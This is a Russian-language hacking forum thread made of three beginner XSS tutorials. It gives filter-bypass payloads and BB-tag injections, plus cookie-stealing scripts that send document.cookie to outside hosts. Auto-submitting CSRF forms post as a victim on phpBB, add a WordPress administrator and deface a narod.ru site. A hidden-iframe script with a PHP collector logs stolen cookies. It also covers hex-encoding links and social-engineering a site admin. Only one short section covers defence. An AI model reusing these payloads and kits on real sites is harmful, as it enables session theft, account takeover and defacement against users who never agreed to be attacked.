[XSS] - Для новичков

D

DeaDevil

### Как используют XSS.

Для начала нам нужно знать что такое Cookie.
Если вы знаете, можете пропустить.

Cookie служат для сохранения учетных данных сайта на компьютере поситителя.
Если вы зарегестрировались на сайте под ником 'blabluble', то сайт сохранил у вас на компьютере файл с cookies, где закодированы ваши данные.
А если вы есть админ и у вас есть доступ к сайту, а я - юзер, который украл у вас(админа) cookies, то я могу спокойно зайти на сайт, и сайт меня определяет как 'admin' - у меня будут администраторские права.

Для смены(подстановки украденных) кук советую использувать прогу CookieEdit для IE или встроенные функции в Опере и Фаерфоксе.

========================================
Мы разобрались что такое куки идём дальше...
Чтобы перехватить cookies надо найти место на сайте, где можно выполнить XSS-атаку.


### Что такое XSS-атака?

XSS атаки - это атаки не на сам сайт, а на пользователей сайта.
XSS - это недоработка в фильтре, приложении.

Бывают пассивные XSS и активные XSS.

Что такое пассивные XSS?

Пассивные - это Xss, которые требуют от жертвы непосредственного участия + есть специфические ограничения и сложности.
Поэтому, пассивные XSS не очень ценятся.
Например, нужно заставить её пройти по ядовитой ссылке, что потребует социальной инженерии, хитрости.

Активные - это XSS, которые, не требуют никаких дополнительных действий со стороны жертвы - ей достаточно лишь открыть страницу с вашим XSS и ява-код выполнится автоматически.
Благодаря своей автоматизированности - они очень полезны и ценны.
Например, активные хсс существуют в BB-тегах из-за недостаточной фильтрации, когда вы оставляете сообщение на форуме\гостевухе\чате, которое будет всегда активен при каждом обновлении.

========================================


### Итак, перейду конкретно к тому, как найти в данном сайте XSS.

XSS состоит из тегов, они же состоят из html, и javascript языка =).

Javascript можно вписывать в html.
Можно кодировать, чтобы обойти фильтры. Но об этом позже.

Как узнать, что XSS на даном сайте проходит?
Ужасна распрастраннёная узявимость типа
PHP:
<script>alert()</script>
Пытаемся вставить во все различные поля этот скрипт... если вышло сообщение значит скрипт обработался и выполнился.

Самая распостраненая XSS (наблюдаеться во всех местах где плохая фильтрация):
PHP:
"><script>alert()</script>
Вся суть в "> .
Давайте подумаем, что мы делаем, когда вводим в поле "><script>alert()</script> , что происходит?
Мы вводим в форму
PHP:
"><script>alert()</script>
какой-то переменной присваиваеться значение поля. Переменная обрабатывается, "> выполняеться, закрывает
скрипт и выпролняет
PHP:
<script>alert()</script>

Эта XSS самая распостраненая в поисковиках:
Просматриваем все поля сайта и пытаемся вставить
PHP:
"><script>alert()</script>
Если вышло сообщение - вы нашли XSS...

========================================


### А как определить есть фильтр или нет?

Просто в любое поле вводим: '';!--"<########>=&{()}
Дальше открываем html страничку и ищем слово "########"
и смотри последующие сиволы..

Если <> так и остались то это перваый признак уязвимости - значит фильтр имеет дырку.
Если ,"'\ символы остались такими, как были введены - это второй признак уязвимости - возможные дополнительные символы к последующей XSS атаке.
Затем, если открыв HTML, вы не обнаружили <> то скорее всего дырка в фильтре.
Если открыв HTML вы обнаружили, что <> заменены на другие символы, то это облом - фильтр по крайней
мере функционирует нормально.
Возможно еще ввести в поле для проверки фильтрации вот так: "><>'"`,/\?@%

Рассмотрим случай если фильтр съедает <>

В этом случае существует вероятность дырки.
К примеру, у фильтра условие съедать <script>,<> и .
Тогда пробуем <zxcvb script:alert();

Фильтр смотрит, что ничего опасного в
PHP:
<IMG%20SRC="java script:alert();
нет, закрывает и тем самым
выполняя скрипт.

Еще конечно если фильтр не фильтрует различные кодировки то можно попытаться закодировать скрипт и вставить код.

Все надо пытаться методом проб и ошибок искать...
Пытаться вводить в поля и внимательно просматривать что мы получили от фильтра.
Методом тыков понять, как фильтр работает, есть ли у него недоработки.
Если фильтр плохой, мы всегда можем вставить скрипты.

========================================


### Активные XSS

Тут надо использовать разрешенные теги и прекрываясь ими, надо выполнить запрос.

Например, теги url,bb,img.
Весь смысл вставки заключается в том, что нам надо встроить запрос в париметр img или url. У Img есть много парметров кроме src и alt.
Этот баг очень часто используется на форуме, в гостевухах...

Рассмотрим активные XSS.

Предупреждения!!!
Теги [fon*t],[im*g],[ur*l] пишутса с * для того, штобы они не использовались данным форумом.
Для использувания этих тегов удалите *.

К примеру просмотрим форум на наличие использования тегов [fon*t],[im*g],[ur*l] и попытаться вставить в них скрипт или комбинировать их.:

PHP:
[im*g]httр://www.qwewqw.ru/1.jpg[/im*g]
Выходит крестик...значит img используется и мы его подобрали (просто дело в том, что бывает img включен, а админы из создания сообщения его убирают, мол картинки вставлять нельзя и бывает он в использовании
разной формы) если крестика нет...а висит всего надпись, то попробуйте еще так:
PHP:
[im*g src=httр://www.qwewqw.ru/1.jpg]

Ну так вот к примеру мы добились крестика этим:
PHP:
[im*g]httр://www.qweqw.ru/1.jpg[/im*g]

Проверим держит ли фильтр пробел, добавляем пробел после расширения jpg :
PHP:
[im*g]httр://www.qweqw.ru/1.jpg [/im*g]
если крестик есть - тогда всё ОК.

Далее существуют у img параметры dynsrc и lowsrc которые держат яваскрипт. Пытаемся к примеру вставить:
PHP:
[im*g]http://www.qwewqw.ru/1.jpg dynsrc=java script:alert()[/im*g]
проверяем, отсылаем - появиться сообщение - значит нашли активную XSS и вместо alert() можете вставить любой скрипт.

Если фильтр не сдался попробуйте так:
PHP:
[im*g]http://www.qweqw.ru/"/dynsrc="java script:alert()"/1.jpg[/im*g]
PHP:
[im*g]http://www.qwewqw.ru/"/dynsrc=java script:alert()/1.jpg[/im*g]

Если с приведённых примеров получился крестик, то httр://www.qweqw.ru/1.jpg заменяем на адрес сниффера.
###Как его подставить к ссылке с Xss?

Да очень легко...
Есть несколко вариантов:

- 1)делаем вот так:
PHP:
http://*****.ru/free?p='><script>img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;"+document.cookie;</script>
где **** сайт с Xss.

Вот сам составленый скрипт:
PHP:
'><script>img = new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;</script>

- 2)Можно ещё делать вот так:
PHP:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>
где обращаетса к http://haknet.h16.ru/script/js.js

а в js.js есть:
PHP:
img=new Image();img.src="http://antichat.org/s/HakNet.gif?"+document.cookie;
этот способ более надёжен.

Но как я уже писал - иногда бывают затруднения с фильтрами на сайте (не прокатывает наш скрипт).
Тогда нужно подумать, как его обойти.
Можно просто нечто добавить, нечто поменять, или удалить в скрипте.
Но есть более надёжным вариант, когда мы просто закодируем скрипт. Для этого есть много прог.
Есть такой сайт как http://ha.ckers.org/xss.html (кодировщик-дэкодировщик).

Вот пример:
PHP:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E

это был закодированный:

PHP:
http://*****.ru/free?p='><script src=http://haknet.h16.ru/script/js.js></script>

- 3) Особенно шифрование необходимо не только для обмана фильтров, но и для обмана АДМИНА при использовании ПАССИВНОЙ ХСС.

Вот такой пример на основе социальной инженерии.
Ищем контакт с админом форума бросаем в форуме ему линк на свой сайт, и говориш типа так "клевая фича есть на сайте" и так дале в том же духе.
А на нашем сайте будет как вы уже догадались =) вот ето скрипт:

PHP:
<script language="JavaScript">
document.location.href="%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E"
</script>

Что делает document.location.href вы спросите меня? )).. это ява-код, который без запроса переходит на указаной сайт Так чо ж у нас получается, дали мы линк админу, и он зашел на наш сайт, вот что делается.. его быстро бросает на

PHP:
%68%74%74%70%3A%2F%2F%2A%2A%2A%2A%2A%2E%72%75%2F%6 6%72%65%65%3F%70%3D%27%3E%3C%73%63%72%69%70%74%20% 73%72%63%3D%68%74%74%70%3A%2F%2F%68%61%6B%6E%65%74 %2E%68%31%36%2E%72%75%2F%73%63%72%69%70%74%2F%6A%7 3%2E%6A%73%3E%3C%2F%73%63%72%69%70%74%3E
а это уже и есть наш Xss в зашифрованом виде.

Примечание: это подействует только тогда, когда Xss будет принадлежать админу сайта которому вы бросили линк...
 
[XSS 2.0] Всё гениальное просто [Для тех кто постарше]

[Краткое введение]
Однажды я просматривал код одной из кмс на предмет каких-нибудь уязвимостей, но к сожалению, кроме xss ничего не нашёл. Опечалившись результатами поиска, я стал размышлять над тем, что можно извлечь из xss помимо куков. Если xss - межсайтовый скриптинг, то не скриптить-же только вокруг куков. Мои размышления не остались безуспешными. Оказалось, что xss даёт не только куки, но и возможность выполнять различные действия в пределах управляемого админом сайта. Какие именно действия - об этом мы поговорим позже. По мере углубления в этот вопрос я понял, что xss-нападение можно провести и без повреждений в html-коде. Стало быть, те скрипты, которые раньше считались не подверженными xss в общепринятом понимании, теперь ставятся под угрозу. Проверяя этот метод на некоторых популярных скриптах, выяснилось что этой уязвимости подвержены такие программы как: phpBB, WorldPress и многие другие. Благодаря этому методу, тема взлома сайтов на народе(да и не только на народе) снова может стать актуальной. Есть одна хакерская мудрость: "Уязвимость может быть там, где её меньше всего ожидаешь"; пожалуй, эта поговорка наиболее точно подходит к эпиграфу этой статьи.

[Суть уязвимости]
Я не буду сейчас рассказывать что такое xss, так как информация на эту тему достаточно на многочисленных порталах посвящённых сетевой безопасности, поэтому, в статье подразумевается, что читатель уже знаком хотя бы с основами веб-программирования.
По обычному сценарию перехвата онлайн-сессии, атакующий должен каким-то образом заставить свою жертву посетить специальным образом сформированный URL, что приведёт к выводу в её браузере клиентского скрипта, который передаст куки атакующему. Суть этого метода - не перехват сессии, а выполнение запланированных атакующим действий на сайте жертвы без её ведома. Такими действиями могут быть, например, добавление нового администратора с известным атакующему паролем; изменение страницы сайта; добавление php-кода, что даёт возможность закачки веб-шела; или каких-либо других опасных действий.

[От теории к практике]
Теперь давайте рассмотрим техническую сторону этой проблемы. Хочу сразу сказать, что этот вид xss-уязвимости является пассивным, т.е. внедрения клиентского скрипта на сайт жертвы не происходит. Для того чтобы выполнить какие-нибудь действия на сайте жертвы, нападающий должен знать как они выполняются. Как известно, все(почти) действия в вебе происходят через get и post-запросы, поэтому, нападающий должен знать какие get или post запросы должен выполнять браузер жертвы чтобы сделать нужное действие на её сайте. Посмотрим теперь на конкретном примере, как можно делать посты на форуме phpBB от имени какого-то пользователя. Сначала нужно узнать какой скрипт добавляет на форум новые сообщения и какие post-параметры требует это действие. Заходим в любую тему и внизу видим форму быстрого ответа. Далее смотрим html-код страницы и из всех форм выбираем нужную нам - форум быстрого ответа. Вытаскиваем весть html-код между тегами <form> ... </form> и приступаем к извлечению параметров скрипта. Эти параметры находятся в тегах <input>, <select>...</select> и <textarea>...</textarea>. Фактически, нам нужны только эти теги и сами теги <form>...</form>, весь остальной хлам убираем и врезультате получаем чистый набор нужных тегов:

PHP:
<form action="posting.php" method="post" name="post">
<input type="checkbox" name="quick_quote">
<input type="checkbox" name="attach_sig" checked="checked">
<input type="checkbox" name="notify" >
<input type="hidden" name="mode" value="reply">
<input type="hidden" name="t" value="_ид_топика_в_который_нужно_ответить_">
<input type="hidden" name="last_msg" value="">
<textarea name="message"></textarea>
<INPUT TYPE="button" name="smiles_all" VALUE="Смайлики">
<input type="button" name="quoteselected" value="Цитата выбранного" >
<input type="submit" name="post" value="Отправить">
</form>

Напомню, что этот html-код - код формы добавления сообщения на форуме phpBB. Этот код можно упростить убиранием необязательных тегов, например checkbox. После упрощения этого кода, добавим в него авто-сабмит и полный url скрипта, который добавляет новые посты:

PHP:
<form action="http://_сайт.ру_/forum/posting.php" method="post" name="post">
<input type="hidden" name="mode" value="reply">
<input type="hidden" name="t" value="_ид_топика_в_который_нужно_ответить_">
<input type="hidden" name="last_msg" value="">
<textarea name="message">наше сообщение</textarea>
<INPUT TYPE="button" name="smiles_all"  VALUE="Смайлики">
<input type="button" name="quoteselected" value="Цитата выбранного" >
<input type="submit" name="post" value="Отправить">
</form>
<script>post.submit()</script>

Попробуем сохранить этот код в файл и открыть его в браузере. Как только он откроется, наш браузер сразу же сабмитит форму по адресу http://_сайт.ру_/forum/posting.php. При этом, вы должны быть авторизированны на форуме, иначе ничего не получится. А теперь, забьём эту форму в ифрейм, который мы замаскируем на какой-нибудь интересной страничке и дадим эту ссылку другу, который сидит на форуме. Пока наш дружок читал текст интересной странички, он и не заметил, как его браузер добавил на форум пост от его имени.
Отправка сообщений от чужого имени - это ещё цветочки, по сравнению с тем, что можно натворить, путём добавления админа в cms. Так например, в последней версии WordPress я добавил администратора pupkin_vasily с помощью автосабмита такого кода:

PHP:
<form action="http://site.ru/wp-admin/users.php#add-new-user" method="post" name="adduser">
<input type="hidden" name="_wpnonce" value="aaaaaaaaaaa" />
<input type="hidden" name="_wp_http_referer" value="/wp-admin/users.php" />
<input name="action" type="hidden" id="action" value="adduser" />
<input name="user_login" type="hidden" value="pupkin_vasily" />
<input name="first_name" type="hidden" value="xakep" />
<input name="last_name" type="hidden" value="" />
<input name="email" type="hidden" value="[email protected]" />
<input name="url" type="hidden" value="xakep.ru" />
<input name="pass1" type="hidden" value="777777" />
<input name="pass2" type="hidden" value="777777" />
<input name="role" type="hidden"  value="administrator">
<input type="hidden" name="wp_http_referer" value="/wp-admin/users.php" />
<input name="adduser" type="hidden" value="Добавить пользователя »" />
</form>
<script>adduser.submit()</script>

Просто, не правда ли?
А вот аналогично тривиальный код дефэйса сайта на народ.ру:

PHP:
<form action="http://narod.yandex.ru/filemanager/teditor.xhtml" name=editForm method=post>
<INPUT TYPE=hidden name="previewprefix" value="<base href='http://__сайт_который_будем_дефэйсить__.narod.ru/'>">
<textarea name=html_text WRAP=virtual>Hacked by Pascal</textarea>
<input type=hidden name=inittext value="bla bla bla">
<input type=hidden name="f" value="index.html">
<input type=hidden value=1 name=save>
<INPUT name=savebut value=1>
<input type='submit'>
</form>
<script>editForm.submit();</script>

Таких примеров как эти можно сделать огромное количество и этот способ мог использоваться и намного раньше, чем я сейчас об этом пишу, однако, почему-то все продолжают искать повреждения в html-коде, забывши о смысле выражения "межсайтовый скриптинг".

[Как защититься]
Если бы статья осталась без этого раздела, можно было бы считать, что она написана в целях разрушения. Однако это не так, цель этой статьи - предостеречь программиста от допущения ошибок в своих творениях. Защита скрипта от этого вида атак так-же проста как и нападение: нужно всего лишь проверять http-заголовок Referer. Нельзя допускать выполнение опасных действий с url не соответствующих url вашего скрипта, даже если referer не передаётся вовсе. Конечно, есть вероятность того, что браузер не будет передавать рефера при нормальном использовании, но эта вероятность довольно мала. Для исключения этого, можно сделать два режима работы скрипта: небезопасный, но надёжный; и безопасный - с проверкой referer и ip-адреса.

Формат RTF: http://pascalhp.narod.ru/other/xss2.zip

Автор статьи heaven aka Pascal
http://pascalhp.net/
 
[XSS] - Для самых маленьких

XSS для самых маленьких...

Автор: Jenizix


Ну найти в интернете описание XSS-бага я думаю труда не составит...
Перейдем сразу к использованию:

-= 3-2-1 go! =-
Сначала зарегистрируем ( или возьмем имеющийся ) домен с хостингом ( пофиг какого уровня =)))) ) с поддержкой PHP...
допустим мы зарегили xss.host.ru...

Создадим файл xss.js с таким содержимым:



Код:
document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://xss.host.ru/xss.php'+'?['+location.host+']:'+document.cookie+'"></iframe>');
Этот JavаScript будет открывать невидимый iframe на странице, в котором будет гризиться наш скрипт принимающий куки... + ему будет передаваться имя сайта откуда куки были стырены.
Я выбрал тег <iframe> т.к. у некоторых отключен показ рисунков => тег <img> не прокатит... да и попапы могут резаться...

Теперь создадим файл xss.php:

Код:
<?
$file = fopen("cookies","a");
fputs($file,"[".date("d.m.y H:i")."]".$QUERY_STRING."\r\n");
fclose($file);
?>

Этот скрипт будет записывать дату и полученое "печенье" в файл cookies

Закинем оба файла в веб-директорию нашего сайта... ну вощем чтоб они были доступны как http://xss.host.ru/xss.js и http://xss.host.ru/xss.php

-= Боевые действия =-
Ну теперь найдем бажный сайт с XSS уязвимостью. Допустим уязвимость будет тут: http://site.ru/find.php?find=[xss]
ок. уязвимость есть. пошлем скрипту find.php запрос типа find.php?find=<script src=http://xss.host.ru/xss.js></script>
и затем открываем http://xss.host.ru/cookies и видим стырены куки! =)))

-= Шифруемся =-
НО! В открытую этот линк кидать не стоит... палевно... сделаем так, напишем php-скрипт для кодировки символов в hex и для разкодировки из hex:

hex.php:


Код:
<?
$str = urldecode($_SERVER['QUERY_STRING']);
for($i=0;$i<strlen($str);$i++) {
$hex=dechex(ord($str[$i]));
if($str[$i]=='&')
echo "$str[$i]";
else
echo "%$hex";
}
?>[code]

ну и unhex.php:

[code]<?
echo urldecode($_SERVER['QUERY_STRING']);
?>[code]

например нам нужно чтобы юзер прошелся по этой ссылке:
http://site.ru/find.php?find=<script src=http://xss.host.ru/xss.js></script>
но как я уже говорил, в открытую ее ему кидать - палевно... заюзаем наш hex.php:
http://xss.host.ru/hex.php?<script src=http://xss.host.ru/xss.js></script>

Получим вот что:
[code]%3c%73%63%72%69%70%74%20%73%72%63%3d%68%74%74%70%3 a%2f%2f%78%73%73%2e
%68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2 f%73%63%72%69%70%74
%3e

это hex представление текста: <script src=http://xss.host.ru/xss.js></script>

Теперь наша ссылка будет выглядеть вот так:

Код:
[url]http://site.ru/find.php?find=%3c%73%...2f%78%73%73%2e[/url]
%68%6f%73%74%2e%72%75%2f%78%73%73%2e%6a%73%3e%3c%2 f%73%63%72%69%70%74
%3e

Как видите, не очень и палиться =)))

Теперь осталось скинуть этот линк какомунибудь юзеру ( а лучше админу ) сайта site.ru и ждать его куков ( если конечно они там юзаются )...
Куки могут быть в hex-виде... тут нам придет на помощ unhex.php: To view links in this forum your post count must be 1 or greater. Your post count is 0 momentarily.[тут_куки]

-= Подводим итоги =-
Теперь у нас есть полноценные скрипты для проведения XSS-атаки.
Еще можно наш xss.js прогнать через hex.php чтоб еще побольше обезопаситься )))

(с) Jenizix
 
Сверху